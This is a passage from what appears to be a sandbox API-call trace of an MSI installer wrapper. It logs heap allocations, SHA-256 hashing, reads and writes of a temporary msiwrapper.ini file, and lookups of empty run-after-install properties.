lpBuffer=0x342ac8, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x432, lpOverlapped=0x0) returned 1 [0149.293] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.293] CloseHandle (hObject=0x180) returned 1 [0149.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.294] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.294] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.294] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.295] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.295] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.295] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x3aa, dwFlags=0x0) returned 1 [0149.295] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.295] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.295] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.295] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.295] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.296] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.296] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.296] GetLastError () returned 0x0 [0149.296] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.296] GetLastError () returned 0x0 [0149.296] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.296] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.297] GetLastError () returned 0x0 [0149.297] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.297] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.297] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.297] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="616c91aa1d497cc189ccf3783641e07682694a7840a1ec714d3b8f7fc4ea0b02dc9763e3썚琱") returned 0 [0149.297] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.297] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.297] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.298] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.298] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.298] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.298] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.298] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.298] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.298] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.299] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.299] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.299] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x50) returned 0x5f5c18 [0149.299] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.299] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.299] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.299] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.301] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.301] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.301] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x3e2, dwFlags=0x0) returned 1 [0149.301] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.301] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.301] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.301] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.301] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.301] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.301] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.302] GetLastError () returned 0x0 [0149.302] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.302] GetLastError () returned 0x0 [0149.302] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.302] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.302] GetLastError () returned 0x0 [0149.302] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.302] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.303] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.303] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.303] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="d45bbfef26c5fe260d78863acb192f164b1b5d9f641c619445f735a295b80d75ẜ") returned 0 [0149.303] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.303] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.303] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.304] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.304] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.304] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.304] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.304] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.304] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.304] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.305] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.305] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.306] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x46a, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x46a, lpOverlapped=0x0) returned 1 [0149.307] CloseHandle (hObject=0x180) returned 1 [0149.310] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.310] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.310] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.310] MsiCreateRecord (cParams=0x2) returned 0x3f [0149.311] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.311] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x90) returned 0x5f97f8 [0149.312] MsiRecordSetStringW (hRecord=0x3f, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_AFTER_INSTALL_FILE") returned 0x0 [0149.313] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x3f) returned 0 [0149.318] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.318] MsiCloseHandle (hAny=0x3f) returned 0x0 [0149.320] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.320] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_AFTER_INSTALL_FILE", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.323] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0149.323] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_AFTER_INSTALL_FILE", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0x0 [0149.326] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.326] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.326] MsiCreateRecord (cParams=0x2) returned 0x40 [0149.327] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.327] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.327] MsiRecordSetStringW (hRecord=0x40, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0149.328] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x40) returned 0 [0149.332] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.332] MsiCloseHandle (hAny=0x40) returned 0x0 [0149.334] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.334] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.334] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x46a [0149.334] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x46c) returned 0x342ac8 [0149.334] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x46a, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x46a, lpOverlapped=0x0) returned 1 [0149.335] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.335] CloseHandle (hObject=0x180) returned 1 [0149.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.335] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.335] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.336] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.336] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.337] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.337] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.337] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x3e2, dwFlags=0x0) returned 1 [0149.337] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.337] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.337] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.337] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.337] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.337] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.337] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.338] GetLastError () returned 0x0 [0149.338] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.338] GetLastError () returned 0x0 [0149.338] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.338] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.338] GetLastError () returned 0x0 [0149.338] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.338] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.339] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="d45bbfef26c5fe260d78863acb192f164b1b5d9f641c619445f735a295b80d75") returned 0 [0149.339] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.339] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.339] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.340] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.340] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.340] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.340] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.340] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.340] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.341] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.341] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x40) returned 0x5dbad8 [0149.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.341] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.341] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.342] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.342] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.342] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x40c, dwFlags=0x0) returned 1 [0149.342] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.342] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.342] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.342] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.343] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.343] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.343] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.343] GetLastError () returned 0x0 [0149.343] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.343] GetLastError () returned 0x0 [0149.343] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.344] GetLastError () returned 0x0 [0149.344] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.344] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.344] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.344] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="c7a1ae74ae0e3913f9278c0012bdfe14bb420cd10d6b23d71685f4e465530458ẜ") returned 0 [0149.344] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.345] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.345] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.345] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.355] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.356] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x494, lpOverlapped=0x0) returned 1 [0149.357] CloseHandle (hObject=0x180) returned 1 [0149.359] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.359] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.359] MsiCreateRecord (cParams=0x2) returned 0x41 [0149.360] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.360] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0xa0) returned 0x5f9880 [0149.360] MsiRecordSetStringW (hRecord=0x41, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.RUN_AFTER_INSTALL_PARAMETERS") returned 0x0 [0149.362] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x41) returned 0 [0149.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.367] MsiCloseHandle (hAny=0x41) returned 0x0 [0149.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.368] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_AFTER_INSTALL_PARAMETERS", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.371] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x340ef8 [0149.371] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.RUN_AFTER_INSTALL_PARAMETERS", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0x0 [0149.373] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.373] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.373] MsiCreateRecord (cParams=0x2) returned 0x42 [0149.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.374] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.374] MsiRecordSetStringW (hRecord=0x42, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 0x0 [0149.375] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x42) returned 0 [0149.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.379] MsiCloseHandle (hAny=0x42) returned 0x0 [0149.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.380] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.380] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: 